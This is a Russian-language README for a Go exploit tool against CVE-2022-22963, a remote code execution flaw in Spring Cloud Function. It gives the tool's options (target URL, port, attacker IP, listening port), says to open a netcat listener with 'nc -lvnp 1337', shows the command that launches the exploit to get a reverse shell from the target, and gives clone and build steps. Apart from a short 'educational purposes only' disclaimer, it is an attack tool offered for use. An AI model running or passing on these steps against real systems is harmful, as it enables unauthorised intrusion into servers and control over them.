gunzf0x/cve-2022-22963Бинарные файлы для CVE-2022-22963
Удаленное выполнение кода с использованием CVE-2022-22963 для атаки на сервис Spring Cloud.
Отказ от ответственности: Данный материал предоставлен только в образовательных целях. Автор не несет ответственности за использование данной программы. Используйте на свой страх и риск
./CVE-2022-22963 -h
Usage:
CVE-2022-22963 [OPTIONS]
Application Options:
-u, --target-url= Target/Host url where 'Spring Cloud' is running. Example: -t http://somesite.htb
-p, --target-port= Port running the service. Example: -p 8080
-i, --attacker-ip= Attacker IPv4 Address. Example: -i 10.10.10.10
-l, --listening-port= Listening port to connect. Example: -l 1337
Help Options:
-h, --help Show this help message
Предположим, что потенциально уязвимая цель запущена по адресу http://somerandomserver.com:8080. Запускаем nc в режиме прослушивания на порту 1337: nc -lvnp 1337. Затем запускаем скрипт/эксплойт:
./CVE-2022-22963 -u http://somerandomserver.com -p 8080 -i 10.10.10.10 -l 1337
Если на вашей машине установлен go, просто выполните:
git clone https://github.com/GunZF0x/CVE-2022-22963.git
cd CVE-2022-22963
go run main.go -h # запуск без компиляции файла
go build -o exploit main.go # сборка файла